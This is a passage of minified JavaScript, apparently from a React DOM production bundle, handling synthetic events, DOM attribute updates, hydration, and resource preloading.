b=f;if((r&1)===0&&(r&2)===0&&f!==null)e:for(;;){if(f===null)return;var _=f.tag;if(_===3||_===4){var L=f.stateNode.containerInfo;if(L===v)break;if(_===4)for(_=f.return;_!==null;){var X=_.tag;if((X===3||X===4)&&_.stateNode.containerInfo===v)return;_=_.return}for(;L!==null;){if(_=Ua(L),_===null)return;if(X=_.tag,X===5||X===6||X===26||X===27){f=b=_;continue e}L=L.parentNode}}f=f.return}d1(function(){var ie=b,pe=am(l),ve=[];e:{var oe=z1.get(a);if(oe!==void 0){var de=sd,Pe=a;switch(a){case"keypress":if(nd(l)===0)break e;case"keydown":case"keyup":de=PT;break;case"focusin":Pe="focus",de=cm;break;case"focusout":Pe="blur",de=cm;break;case"beforeblur":case"afterblur":de=cm;break;case"click":if(l.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":de=m1;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":de=jT;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":de=UT;break;case F1:case O1:case L1:de=DT;break;case P1:de=HT;break;case"scroll":case"scrollend":de=NT;break;case"wheel":de=$T;break;case"copy":case"cut":case"paste":de=_T;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":de=x1;break;case"toggle":case"beforetoggle":de=YT}var Ke=(r&4)!==0,Bt=!Ke&&(a==="scroll"||a==="scrollend"),te=Ke?oe!==null?oe+"Capture":null:oe;Ke=[];for(var Q=ie,re;Q!==null;){var ge=Q;if(re=ge.stateNode,ge=ge.tag,ge!==5&&ge!==26&&ge!==27||re===null||te===null||(ge=Kl(Q,te),ge!=null&&Ke.push(Ac(Q,ge,re))),Bt)break;Q=Q.return}0<Ke.length&&(oe=new de(oe,Pe,null,l,pe),ve.push({event:oe,listeners:Ke}))}}if((r&7)===0){e:{if(oe=a==="mouseover"||a==="pointerover",de=a==="mouseout"||a==="pointerout",oe&&l!==nm&&(Pe=l.relatedTarget||l.fromElement)&&(Ua(Pe)||Pe[ot]))break e;if((de||oe)&&(oe=pe.window===pe?pe:(oe=pe.ownerDocument)?oe.defaultView||oe.parentWindow:window,de?(Pe=l.relatedTarget||l.toElement,de=ie,Pe=Pe?Ua(Pe):null,Pe!==null&&(Bt=c(Pe),Ke=Pe.tag,Pe!==Bt||Ke!==5&&Ke!==27&&Ke!==6)&&(Pe=null)):(de=null,Pe=ie),de!==Pe)){if(Ke=m1,ge="onMouseLeave",te="onMouseEnter",Q="mouse",(a==="pointerout"||a==="pointerover")&&(Ke=x1,ge="onPointerLeave",te="onPointerEnter",Q="pointer"),Bt=de==null?oe:Xn(de),re=Pe==null?oe:Xn(Pe),oe=new Ke(ge,Q+"leave",de,l,pe),oe.target=Bt,oe.relatedTarget=re,ge=null,Ua(pe)===ie&&(Ke=new Ke(te,Q+"enter",Pe,l,pe),Ke.target=re,Ke.relatedTarget=Bt,ge=Ke),Bt=ge,de&&Pe)t:{for(Ke=G6,te=de,Q=Pe,re=0,ge=te;ge;ge=Ke(ge))re++;ge=0;for(var Ge=Q;Ge;Ge=Ke(Ge))ge++;for(;0<re-ge;)te=Ke(te),re--;for(;0<ge-re;)Q=Ke(Q),ge--;for(;re--;){if(te===Q||Q!==null&&te===Q.alternate){Ke=te;break t}te=Ke(te),Q=Ke(Q)}Ke=null}else Ke=null;de!==null&&ow(ve,oe,de,Ke,!1),Pe!==null&&Bt!==null&&ow(ve,Bt,Pe,Ke,!0)}}e:{if(oe=ie?Xn(ie):window,de=oe.nodeName&&oe.nodeName.toLowerCase(),de==="select"||de==="input"&&oe.type==="file")var Ct=N1;else if(C1(oe))if(E1)Ct=a6;else{Ct=t6;var Ie=e6}else de=oe.nodeName,!de||de.toLowerCase()!=="input"||oe.type!=="checkbox"&&oe.type!=="radio"?ie&&tm(ie.elementType)&&(Ct=N1):Ct=n6;if(Ct&&(Ct=Ct(a,ie))){S1(ve,Ct,l,pe);break e}Ie&&Ie(a,oe,ie),a==="focusout"&&ie&&oe.type==="number"&&ie.memoizedProps.value!=null&&em(oe,"number",oe.value)}switch(Ie=ie?Xn(ie):window,a){case"focusin":(C1(Ie)||Ie.contentEditable==="true")&&(Eo=Ie,pm=ie,nc=null);break;case"focusout":nc=pm=Eo=null;break;case"mousedown":xm=!0;break;case"contextmenu":case"mouseup":case"dragend":xm=!1,B1(ve,l,pe);break;case"selectionchange":if(r6)break;case"keydown":case"keyup":B1(ve,l,pe)}var it;if(dm)e:{switch(a){case"compositionstart":var gt="onCompositionStart";break e;case"compositionend":gt="onCompositionEnd";break e;case"compositionupdate":gt="onCompositionUpdate";break e}gt=void 0}else No?b1(a,l)&&(gt="onCompositionEnd"):a==="keydown"&&l.keyCode===229&&(gt="onCompositionStart");gt&&(g1&&l.locale!=="ko"&&(No||gt!=="onCompositionStart"?gt==="onCompositionEnd"&&No&&(it=f1()):(_r=pe,im="value"in _r?_r.value:_r.textContent,No=!0)),Ie=Kd(ie,gt),0<Ie.length&&(gt=new p1(gt,a,null,l,pe),ve.push({event:gt,listeners:Ie}),it?gt.data=it:(it=w1(l),it!==null&&(gt.data=it)))),(it=XT?WT(a,l):QT(a,l))&&(gt=Kd(ie,"onBeforeInput"),0<gt.length&&(Ie=new p1("onBeforeInput","beforeinput",null,l,pe),ve.push({event:Ie,listeners:gt}),Ie.data=it)),I6(ve,a,ie,l,pe)}rw(ve,r)})}function Ac(a,r,l){return{instance:a,listener:r,currentTarget:l}}function Kd(a,r){for(var l=r+"Capture",f=[];a!==null;){var v=a,b=v.stateNode;if(v=v.tag,v!==5&&v!==26&&v!==27||b===null||(v=Kl(a,l),v!=null&&f.unshift(Ac(a,v,b)),v=Kl(a,r),v!=null&&f.push(Ac(a,v,b))),a.tag===3)return f;a=a.return}return[]}function G6(a){if(a===null)return null;do a=a.return;while(a&&a.tag!==5&&a.tag!==27);return a||null}function ow(a,r,l,f,v){for(var b=r._reactName,_=[];l!==null&&l!==f;){var L=l,X=L.alternate,ie=L.stateNode;if(L=L.tag,X!==null&&X===f)break;L!==5&&L!==26&&L!==27||ie===null||(X=ie,v?(ie=Kl(l,b),ie!=null&&_.unshift(Ac(l,ie,X))):v||(ie=Kl(l,b),ie!=null&&_.push(Ac(l,ie,X)))),l=l.return}_.length!==0&&a.push({event:r,listeners:_})}var Y6=/\r\n?/g,K6=/\u0000|\uFFFD/g;function lw(a){return(typeof a=="string"?a:""+a).replace(Y6,`
`).replace(K6,"")}function cw(a,r){return r=lw(r),lw(a)===r}function kt(a,r,l,f,v,b){switch(l){case"children":typeof f=="string"?r==="body"||r==="textarea"&&f===""||wo(a,f):(typeof f=="number"||typeof f=="bigint")&&r!=="body"&&wo(a,""+f);break;case"className":Ei(a,"class",f);break;case"tabIndex":Ei(a,"tabindex",f);break;case"dir":case"role":case"viewBox":case"width":case"height":Ei(a,l,f);break;case"style":c1(a,f,b);break;case"data":if(r!=="object"){Ei(a,"data",f);break}case"src":case"href":if(f===""&&(r!=="a"||l!=="href")){a.removeAttribute(l);break}if(f==null||typeof f=="function"||typeof f=="symbol"||typeof f=="boolean"){a.removeAttribute(l);break}f=ed(""+f),a.setAttribute(l,f);break;case"action":case"formAction":if(typeof f=="function"){a.setAttribute(l,"javascript:throw new Error('A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\'re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().')");break}else typeof b=="function"&&(l==="formAction"?(r!=="input"&&kt(a,r,"name",v.name,v,null),kt(a,r,"formEncType",v.formEncType,v,null),kt(a,r,"formMethod",v.formMethod,v,null),kt(a,r,"formTarget",v.formTarget,v,null)):(kt(a,r,"encType",v.encType,v,null),kt(a,r,"method",v.method,v,null),kt(a,r,"target",v.target,v,null)));if(f==null||typeof f=="symbol"||typeof f=="boolean"){a.removeAttribute(l);break}f=ed(""+f),a.setAttribute(l,f);break;case"onClick":f!=null&&(a.onclick=Qs);break;case"onScroll":f!=null&&mt("scroll",a);break;case"onScrollEnd":f!=null&&mt("scrollend",a);break;case"dangerouslySetInnerHTML":if(f!=null){if(typeof f!="object"||!("__html"in f))throw Error(s(61));if(l=f.__html,l!=null){if(v.children!=null)throw Error(s(60));a.innerHTML=l}}break;case"multiple":a.multiple=f&&typeof f!="function"&&typeof f!="symbol";break;case"muted":a.muted=f&&typeof f!="function"&&typeof f!="symbol";break;case"suppressContentEditableWarning":case"suppressHydrationWarning":case"defaultValue":case"defaultChecked":case"innerHTML":case"ref":break;case"autoFocus":break;case"xlinkHref":if(f==null||typeof f=="function"||typeof f=="boolean"||typeof f=="symbol"){a.removeAttribute("xlink:href");break}l=ed(""+f),a.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",l);break;case"contentEditable":case"spellCheck":case"draggable":case"value":case"autoReverse":case"externalResourcesRequired":case"focusable":case"preserveAlpha":f!=null&&typeof f!="function"&&typeof f!="symbol"?a.setAttribute(l,""+f):a.removeAttribute(l);break;case"inert":case"allowFullScreen":case"async":case"autoPlay":case"controls":case"default":case"defer":case"disabled":case"disablePictureInPicture":case"disableRemotePlayback":case"formNoValidate":case"hidden":case"loop":case"noModule":case"noValidate":case"open":case"playsInline":case"readOnly":case"required":case"reversed":case"scoped":case"seamless":case"itemScope":f&&typeof f!="function"&&typeof f!="symbol"?a.setAttribute(l,""):a.removeAttribute(l);break;case"capture":case"download":f===!0?a.setAttribute(l,""):f!==!1&&f!=null&&typeof f!="function"&&typeof f!="symbol"?a.setAttribute(l,f):a.removeAttribute(l);break;case"cols":case"rows":case"size":case"span":f!=null&&typeof f!="function"&&typeof f!="symbol"&&!isNaN(f)&&1<=f?a.setAttribute(l,f):a.removeAttribute(l);break;case"rowSpan":case"start":f==null||typeof f=="function"||typeof f=="symbol"||isNaN(f)?a.removeAttribute(l):a.setAttribute(l,f);break;case"popover":mt("beforetoggle",a),mt("toggle",a),Ws(a,"popover",f);break;case"xlinkActuate":ls(a,"http://www.w3.org/1999/xlink","xlink:actuate",f);break;case"xlinkArcrole":ls(a,"http://www.w3.org/1999/xlink","xlink:arcrole",f);break;case"xlinkRole":ls(a,"http://www.w3.org/1999/xlink","xlink:role",f);break;case"xlinkShow":ls(a,"http://www.w3.org/1999/xlink","xlink:show",f);break;case"xlinkTitle":ls(a,"http://www.w3.org/1999/xlink","xlink:title",f);break;case"xlinkType":ls(a,"http://www.w3.org/1999/xlink","xlink:type",f);break;case"xmlBase":ls(a,"http://www.w3.org/XML/1998/namespace","xml:base",f);break;case"xmlLang":ls(a,"http://www.w3.org/XML/1998/namespace","xml:lang",f);break;case"xmlSpace":ls(a,"http://www.w3.org/XML/1998/namespace","xml:space",f);break;case"is":Ws(a,"is",f);break;case"innerText":case"textContent":break;default:(!(2<l.length)||l[0]!=="o"&&l[0]!=="O"||l[1]!=="n"&&l[1]!=="N")&&(l=CT.get(l)||l,Ws(a,l,f))}}function Up(a,r,l,f,v,b){switch(l){case"style":c1(a,f,b);break;case"dangerouslySetInnerHTML":if(f!=null){if(typeof f!="object"||!("__html"in f))throw Error(s(61));if(l=f.__html,l!=null){if(v.children!=null)throw Error(s(60));a.innerHTML=l}}break;case"children":typeof f=="string"?wo(a,f):(typeof f=="number"||typeof f=="bigint")&&wo(a,""+f);break;case"onScroll":f!=null&&mt("scroll",a);break;case"onScrollEnd":f!=null&&mt("scrollend",a);break;case"onClick":f!=null&&(a.onclick=Qs);break;case"suppressContentEditableWarning":case"suppressHydrationWarning":case"innerHTML":case"ref":break;case"innerText":case"textContent":break;default:if(!Ni.hasOwnProperty(l))e:{if(l[0]==="o"&&l[1]==="n"&&(v=l.endsWith("Capture"),r=l.slice(2,v?l.length-7:void 0),b=a[Be]||null,b=b!=null?b[l]:null,typeof b=="function"&&a.removeEventListener(r,b,v),typeof f=="function")){typeof b!="function"&&b!==null&&(l in a?a[l]=null:a.hasAttribute(l)&&a.removeAttribute(l)),a.addEventListener(r,f,v);break e}l in a?a[l]=f:f===!0?a.setAttribute(l,""):Ws(a,l,f)}}}function Hn(a,r,l){switch(r){case"div":case"span":case"svg":case"path":case"a":case"g":case"p":case"li":break;case"img":mt("error",a),mt("load",a);var f=!1,v=!1,b;for(b in l)if(l.hasOwnProperty(b)){var _=l[b];if(_!=null)switch(b){case"src":f=!0;break;case"srcSet":v=!0;break;case"children":case"dangerouslySetInnerHTML":throw Error(s(137,r));default:kt(a,r,b,_,l,null)}}v&&kt(a,r,"srcSet",l.srcSet,l,null),f&&kt(a,r,"src",l.src,l,null);return;case"input":mt("invalid",a);var L=b=_=v=null,X=null,ie=null;for(f in l)if(l.hasOwnProperty(f)){var pe=l[f];if(pe!=null)switch(f){case"name":v=pe;break;case"type":_=pe;break;case"checked":X=pe;break;case"defaultChecked":ie=pe;break;case"value":b=pe;break;case"defaultValue":L=pe;break;case"children":case"dangerouslySetInnerHTML":if(pe!=null)throw Error(s(137,r));break;default:kt(a,r,f,pe,l,null)}}r1(a,b,L,X,ie,_,v,!1);return;case"select":mt("invalid",a),f=_=b=null;for(v in l)if(l.hasOwnProperty(v)&&(L=l[v],L!=null))switch(v){case"value":b=L;break;case"defaultValue":_=L;break;case"multiple":f=L;default:kt(a,r,v,L,l,null)}r=b,l=_,a.multiple=!!f,r!=null?bo(a,!!f,r,!1):l!=null&&bo(a,!!f,l,!0);return;case"textarea":mt("invalid",a),b=v=f=null;for(_ in l)if(l.hasOwnProperty(_)&&(L=l[_],L!=null))switch(_){case"value":f=L;break;case"defaultValue":v=L;break;case"children":b=L;break;case"dangerouslySetInnerHTML":if(L!=null)throw Error(s(91));break;default:kt(a,r,_,L,l,null)}o1(a,f,v,b);return;case"option":for(X in l)if(l.hasOwnProperty(X)&&(f=l[X],f!=null))switch(X){case"selected":a.selected=f&&typeof f!="function"&&typeof f!="symbol";break;default:kt(a,r,X,f,l,null)}return;case"dialog":mt("beforetoggle",a),mt("toggle",a),mt("cancel",a),mt("close",a);break;case"iframe":case"object":mt("load",a);break;case"video":case"audio":for(f=0;f<jc.length;f++)mt(jc[f],a);break;case"image":mt("error",a),mt("load",a);break;case"details":mt("toggle",a);break;case"embed":case"source":case"link":mt("error",a),mt("load",a);case"area":case"base":case"br":case"col":case"hr":case"keygen":case"meta":case"param":case"track":case"wbr":case"menuitem":for(ie in l)if(l.hasOwnProperty(ie)&&(f=l[ie],f!=null))switch(ie){case"children":case"dangerouslySetInnerHTML":throw Error(s(137,r));default:kt(a,r,ie,f,l,null)}return;default:if(tm(r)){for(pe in l)l.hasOwnProperty(pe)&&(f=l[pe],f!==void 0&&Up(a,r,pe,f,l,void 0));return}}for(L in l)l.hasOwnProperty(L)&&(f=l[L],f!=null&&kt(a,r,L,f,l,null))}function X6(a,r,l,f){switch(r){case"div":case"span":case"svg":case"path":case"a":case"g":case"p":case"li":break;case"input":var v=null,b=null,_=null,L=null,X=null,ie=null,pe=null;for(de in l){var ve=l[de];if(l.hasOwnProperty(de)&&ve!=null)switch(de){case"checked":break;case"value":break;case"defaultValue":X=ve;default:f.hasOwnProperty(de)||kt(a,r,de,null,f,ve)}}for(var oe in f){var de=f[oe];if(ve=l[oe],f.hasOwnProperty(oe)&&(de!=null||ve!=null))switch(oe){case"type":b=de;break;case"name":v=de;break;case"checked":ie=de;break;case"defaultChecked":pe=de;break;case"value":_=de;break;case"defaultValue":L=de;break;case"children":case"dangerouslySetInnerHTML":if(de!=null)throw Error(s(137,r));break;default:de!==ve&&kt(a,r,oe,de,f,ve)}}Jh(a,_,L,X,ie,pe,b,v);return;case"select":de=_=L=oe=null;for(b in l)if(X=l[b],l.hasOwnProperty(b)&&X!=null)switch(b){case"value":break;case"multiple":de=X;default:f.hasOwnProperty(b)||kt(a,r,b,null,f,X)}for(v in f)if(b=f[v],X=l[v],f.hasOwnProperty(v)&&(b!=null||X!=null))switch(v){case"value":oe=b;break;case"defaultValue":L=b;break;case"multiple":_=b;default:b!==X&&kt(a,r,v,b,f,X)}r=L,l=_,f=de,oe!=null?bo(a,!!l,oe,!1):!!f!=!!l&&(r!=null?bo(a,!!l,r,!0):bo(a,!!l,l?[]:"",!1));return;case"textarea":de=oe=null;for(L in l)if(v=l[L],l.hasOwnProperty(L)&&v!=null&&!f.hasOwnProperty(L))switch(L){case"value":break;case"children":break;default:kt(a,r,L,null,f,v)}for(_ in f)if(v=f[_],b=l[_],f.hasOwnProperty(_)&&(v!=null||b!=null))switch(_){case"value":oe=v;break;case"defaultValue":de=v;break;case"children":break;case"dangerouslySetInnerHTML":if(v!=null)throw Error(s(91));break;default:v!==b&&kt(a,r,_,v,f,b)}i1(a,oe,de);return;case"option":for(var Pe in l)if(oe=l[Pe],l.hasOwnProperty(Pe)&&oe!=null&&!f.hasOwnProperty(Pe))switch(Pe){case"selected":a.selected=!1;break;default:kt(a,r,Pe,null,f,oe)}for(X in f)if(oe=f[X],de=l[X],f.hasOwnProperty(X)&&oe!==de&&(oe!=null||de!=null))switch(X){case"selected":a.selected=oe&&typeof oe!="function"&&typeof oe!="symbol";break;default:kt(a,r,X,oe,f,de)}return;case"img":case"link":case"area":case"base":case"br":case"col":case"embed":case"hr":case"keygen":case"meta":case"param":case"source":case"track":case"wbr":case"menuitem":for(var Ke in l)oe=l[Ke],l.hasOwnProperty(Ke)&&oe!=null&&!f.hasOwnProperty(Ke)&&kt(a,r,Ke,null,f,oe);for(ie in f)if(oe=f[ie],de=l[ie],f.hasOwnProperty(ie)&&oe!==de&&(oe!=null||de!=null))switch(ie){case"children":case"dangerouslySetInnerHTML":if(oe!=null)throw Error(s(137,r));break;default:kt(a,r,ie,oe,f,de)}return;default:if(tm(r)){for(var Bt in l)oe=l[Bt],l.hasOwnProperty(Bt)&&oe!==void 0&&!f.hasOwnProperty(Bt)&&Up(a,r,Bt,void 0,f,oe);for(pe in f)oe=f[pe],de=l[pe],!f.hasOwnProperty(pe)||oe===de||oe===void 0&&de===void 0||Up(a,r,pe,oe,f,de);return}}for(var te in l)oe=l[te],l.hasOwnProperty(te)&&oe!=null&&!f.hasOwnProperty(te)&&kt(a,r,te,null,f,oe);for(ve in f)oe=f[ve],de=l[ve],!f.hasOwnProperty(ve)||oe===de||oe==null&&de==null||kt(a,r,ve,oe,f,de)}function uw(a){switch(a){case"css":case"script":case"font":case"img":case"image":case"input":case"link":return!0;default:return!1}}function W6(){if(typeof performance.getEntriesByType=="function"){for(var a=0,r=0,l=performance.getEntriesByType("resource"),f=0;f<l.length;f++){var v=l[f],b=v.transferSize,_=v.initiatorType,L=v.duration;if(b&&L&&uw(_)){for(_=0,L=v.responseEnd,f+=1;f<l.length;f++){var X=l[f],ie=X.startTime;if(ie>L)break;var pe=X.transferSize,ve=X.initiatorType;pe&&uw(ve)&&(X=X.responseEnd,_+=pe*(X<L?1:(L-ie)/(X-ie)))}if(--f,r+=8*(b+_)/(v.duration/1e3),a++,10<a)break}}if(0<a)return r/a/1e6}return navigator.connection&&(a=navigator.connection.downlink,typeof a=="number")?a:5}var Ip=null,Hp=null;function Xd(a){return a.nodeType===9?a:a.ownerDocument}function dw(a){switch(a){case"http://www.w3.org/2000/svg":return 1;case"http://www.w3.org/1998/Math/MathML":return 2;default:return 0}}function fw(a,r){if(a===0)switch(r){case"svg":return 1;case"math":return 2;default:return 0}return a===1&&r==="foreignObject"?0:a}function qp(a,r){return a==="textarea"||a==="noscript"||typeof r.children=="string"||typeof r.children=="number"||typeof r.children=="bigint"||typeof r.dangerouslySetInnerHTML=="object"&&r.dangerouslySetInnerHTML!==null&&r.dangerouslySetInnerHTML.__html!=null}var $p=null;function Q6(){var a=window.event;return a&&a.type==="popstate"?a===$p?!1:($p=a,!0):($p=null,!1)}var hw=typeof setTimeout=="function"?setTimeout:void 0,Z6=typeof clearTimeout=="function"?clearTimeout:void 0,mw=typeof Promise=="function"?Promise:void 0,J6=typeof queueMicrotask=="function"?queueMicrotask:typeof mw<"u"?function(a){return mw.resolve(null).then(a).catch(eD)}:hw;function eD(a){setTimeout(function(){throw a})}function Kr(a){return a==="head"}function pw(a,r){var l=r,f=0;do{var v=l.nextSibling;if(a.removeChild(l),v&&v.nodeType===8)if(l=v.data,l==="/$"||l==="/&"){if(f===0){a.removeChild(v),Zo(r);return}f--}else if(l==="$"||l==="$?"||l==="$~"||l==="$!"||l==="&")f++;else if(l==="html")Tc(a.ownerDocument.documentElement);else if(l==="head"){l=a.ownerDocument.head,Tc(l);for(var b=l.firstChild;b;){var _=b.nextSibling,L=b.nodeName;b[jt]||L==="SCRIPT"||L==="STYLE"||L==="LINK"&&b.rel.toLowerCase()==="stylesheet"||l.removeChild(b),b=_}}else l==="body"&&Tc(a.ownerDocument.body);l=v}while(l);Zo(r)}function xw(a,r){var l=a;a=0;do{var f=l.nextSibling;if(l.nodeType===1?r?(l._stashedDisplay=l.style.display,l.style.display="none"):(l.style.display=l._stashedDisplay||"",l.getAttribute("style")===""&&l.removeAttribute("style")):l.nodeType===3&&(r?(l._stashedText=l.nodeValue,l.nodeValue=""):l.nodeValue=l._stashedText||""),f&&f.nodeType===8)if(l=f.data,l==="/$"){if(a===0)break;a--}else l!=="$"&&l!=="$?"&&l!=="$~"&&l!=="$!"||a++;l=f}while(l)}function Gp(a){var r=a.firstChild;for(r&&r.nodeType===10&&(r=r.nextSibling);r;){var l=r;switch(r=r.nextSibling,l.nodeName){case"HTML":case"HEAD":case"BODY":Gp(l),os(l);continue;case"SCRIPT":case"STYLE":continue;case"LINK":if(l.rel.toLowerCase()==="stylesheet")continue}a.removeChild(l)}}function tD(a,r,l,f){for(;a.nodeType===1;){var v=l;if(a.nodeName.toLowerCase()!==r.toLowerCase()){if(!f&&(a.nodeName!=="INPUT"||a.type!=="hidden"))break}else if(f){if(!a[jt])switch(r){case"meta":if(!a.hasAttribute("itemprop"))break;return a;case"link":if(b=a.getAttribute("rel"),b==="stylesheet"&&a.hasAttribute("data-precedence"))break;if(b!==v.rel||a.getAttribute("href")!==(v.href==null||v.href===""?null:v.href)||a.getAttribute("crossorigin")!==(v.crossOrigin==null?null:v.crossOrigin)||a.getAttribute("title")!==(v.title==null?null:v.title))break;return a;case"style":if(a.hasAttribute("data-precedence"))break;return a;case"script":if(b=a.getAttribute("src"),(b!==(v.src==null?null:v.src)||a.getAttribute("type")!==(v.type==null?null:v.type)||a.getAttribute("crossorigin")!==(v.crossOrigin==null?null:v.crossOrigin))&&b&&a.hasAttribute("async")&&!a.hasAttribute("itemprop"))break;return a;default:return a}}else if(r==="input"&&a.type==="hidden"){var b=v.name==null?null:""+v.name;if(v.type==="hidden"&&a.getAttribute("name")===b)return a}else return a;if(a=Qa(a.nextSibling),a===null)break}return null}function nD(a,r,l){if(r==="")return null;for(;a.nodeType!==3;)if((a.nodeType!==1||a.nodeName!=="INPUT"||a.type!=="hidden")&&!l||(a=Qa(a.nextSibling),a===null))return null;return a}function gw(a,r){for(;a.nodeType!==8;)if((a.nodeType!==1||a.nodeName!=="INPUT"||a.type!=="hidden")&&!r||(a=Qa(a.nextSibling),a===null))return null;return a}function Yp(a){return a.data==="$?"||a.data==="$~"}function Kp(a){return a.data==="$!"||a.data==="$?"&&a.ownerDocument.readyState!=="loading"}function aD(a,r){var l=a.ownerDocument;if(a.data==="$~")a._reactRetry=r;else if(a.data!=="$?"||l.readyState!=="loading")r();else{var f=function(){r(),l.removeEventListener("DOMContentLoaded",f)};l.addEventListener("DOMContentLoaded",f),a._reactRetry=f}}function Qa(a){for(;a!=null;a=a.nextSibling){var r=a.nodeType;if(r===1||r===3)break;if(r===8){if(r=a.data,r==="$"||r==="$!"||r==="$?"||r==="$~"||r==="&"||r==="F!"||r==="F")break;if(r==="/$"||r==="/&")return null}}return a}var Xp=null;function vw(a){a=a.nextSibling;for(var r=0;a;){if(a.nodeType===8){var l=a.data;if(l==="/$"||l==="/&"){if(r===0)return Qa(a.nextSibling);r--}else l!=="$"&&l!=="$!"&&l!=="$?"&&l!=="$~"&&l!=="&"||r++}a=a.nextSibling}return null}function yw(a){a=a.previousSibling;for(var r=0;a;){if(a.nodeType===8){var l=a.data;if(l==="$"||l==="$!"||l==="$?"||l==="$~"||l==="&"){if(r===0)return a;r--}else l!=="/$"&&l!=="/&"||r++}a=a.previousSibling}return null}function bw(a,r,l){switch(r=Xd(l),a){case"html":if(a=r.documentElement,!a)throw Error(s(452));return a;case"head":if(a=r.head,!a)throw Error(s(453));return a;case"body":if(a=r.body,!a)throw Error(s(454));return a;default:throw Error(s(451))}}function Tc(a){for(var r=a.attributes;r.length;)a.removeAttributeNode(r[0]);os(a)}var Za=new Map,ww=new Set;function Wd(a){return typeof a.getRootNode=="function"?a.getRootNode():a.nodeType===9?a:a.ownerDocument}var hr=O.d;O.d={f:sD,r:rD,D:iD,C:oD,L:lD,m:cD,X:dD,S:uD,M:fD};function sD(){var a=hr.f(),r=Ud();return a||r}function rD(a){var r=aa(a);r!==null&&r.tag===5&&r.type==="form"?Pb(r):hr.r(a)}var Xo=typeof document>"u"?null:document;function Cw(a,r,l){var f=Xo;if(f&&typeof r=="string"&&r){var v=qa(r);v='link[rel="'+a+'"][href="'+v+'"]',typeof l=="string"&&(v+='[crossorigin="'+l+'"]'),ww.has(v)||(ww.add(v),a={rel:a,crossOrigin:l,href:r},f.querySelector(v)===null&&(r=f.createElement("link"),Hn(r,"link",a),Yt(r),f.head.appendChild(r)))}}function iD(a){hr.D(a),Cw("dns-prefetch",a,null)}function oD(a,r){hr.C(a,r),Cw("preconnect",a,r)}function lD(a,r,l){hr.L(a,r,l);var f=Xo;if(f&&a&&r){var v='link[rel="preload"][as="'+qa(r)+'"]';r==="image"&&l&&l.imageSrcSet?(v+='[imagesrcset="'+qa(l.imageSrcSet)+'"]',typeof l.imageSizes=="string"&&(v+='[imagesizes="'+qa(l.imageSizes)+'"]')):v+='[href="'+qa(a)+'"]';var b=v;switch(r){case"style":b=Wo(a);break;case"script":b=Qo(a)}Za.has(b)||(a=x({rel:"preload",href:r==="image"&&l&&l.imageSrcSet?void 0:a,as:r},l),Za.set(b,a),f.querySelector(v)!==null||r==="style"&&f.querySelector(Dc(b))||r==="script"&&f.querySelector(Rc(b))||(r=f.createElement("link"),Hn(r,"link",a),Yt(r),f.head.appendChild(r)))}}function cD(a,r){hr.m(a,r);var l=Xo;if(l&&a){var f=r&&typeof r.as=="string"?r.as:"script",v='link[rel="modulepreload"][as="'+qa(f)+'"][href="'+qa(a)+'"]',b=v;switch(f){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":b=Qo(a)}if(!Za.has(b)&&(a=x({rel:"modulepreload",href:a},r),Za.set(b,a),l.querySelector(v)===null)){switch(f){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(l.querySelector(Rc(b)))return}f=l.createElement("link"),Hn(f,"link",a),Yt(f),l.head.appendChild(f)}}}function uD(a,r,l){hr.S(a,r,l);var f=Xo;if(f&&a){var v=As(f).hoistableStyles,b=Wo(a);r=r||"default";var _=v.get(b);if(!_){var L={loading:0,preload:null};if(_=f.querySelector(Dc(b)))L.loading=5;else{a=x({rel:"stylesheet",href:a,"data-precedence":r},l),(l=Za.get(b))&&Wp(a,l);var X=_=f.createElement("link");Yt(X),Hn(X,"link",a),X._p=new Promise(function(ie,pe){X.onload=ie,X.onerror=pe}),X.addEventListener("load",function(){L.loading|=1}),X.addEventListener("error",function(){L.loading|=2}),L.loading|=4,Qd(_,r,f)}_={type:"stylesheet",instance:_,count:1,state:L},v.set(b,_)}}}function dD(a,r){hr.X(a,r);var l=Xo;if(l&&a){var f=As(l).hoistableScripts,v=Qo(a),b=f.get(v);b||(b=l.querySelector(Rc(v)),b||(a=x({src:a,async:!0},r),(r=Za.get(v))&&Qp(a,r),b=l.createElement("script"),Yt(b),Hn(b,"link",a),l.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},f.set(v,b))}}function fD(a,r){hr.M(a,r);var l=Xo;if(l&&a){var f=As(l).hoistableScripts,v=Qo(a),b=f.get(v);b||(b=l.querySelector(Rc(v)),b||(a=x({src:a,async:!0,type:"module"},r),(r=Za.get(v))&&Qp(a,r),b=l.createElement("script"),Yt(b),Hn(b,"link",a),l.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},f.set(v,b))}}function Sw(a,r,l,f){var v=(v=we.current)?Wd(v):null;if(!v)throw Error(s(446));switch(a){case"meta":case"title":return null;case"style":return typeof l.precedence=="string"&&typeof l.href=="string"?(r=Wo(l.href),l=As(v).hoistableStyles,f=l.get(r),f||(f={type:"style",instance:null,count:0,state:null},l.set(r,f)),f):{type:"void",instance:null,count:0,state:null};case"link":if(l.rel==="stylesheet"&&typeof l.href=="string"&&typeof l.precedence=="string"){a=Wo(l.href);var b=As(v).hoistableStyles,_=b.get(a);if(_||(v=v.ownerDocument||v,_={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},b.set(a,_),(b=v.querySelector(Dc(a)))&&!b._p&&(_.instance=b,_.state.loading=5),Za.has(a)||(l={rel:"preload",as:"style",href:l.href,crossOrigin:l.crossOrigin,integrity:l.integrity,media:l.media,hrefLang:l.hrefLang,referrerPolicy:l.referrerPolicy},Za.set(a,l),b||hD(v,a,l,_.state))),r&&f===null)throw Error(s(528,""));return _}if(r&&f!==null)throw Error(s(529,""));return null;case"script":return r=l.async,l=l.src,typeof l=="string"&&r&&typeof r!="function"&&typeof r!="symbol"?(r=Qo(l),l=As(v).hoistableScripts,f=l.get(r),f||(f={type:"script",instance:null,count:0,state:null},l.set(r,f)),f):{type:"void",instance:null,count:0,state:null};default:throw Error(s(444,a))}}function 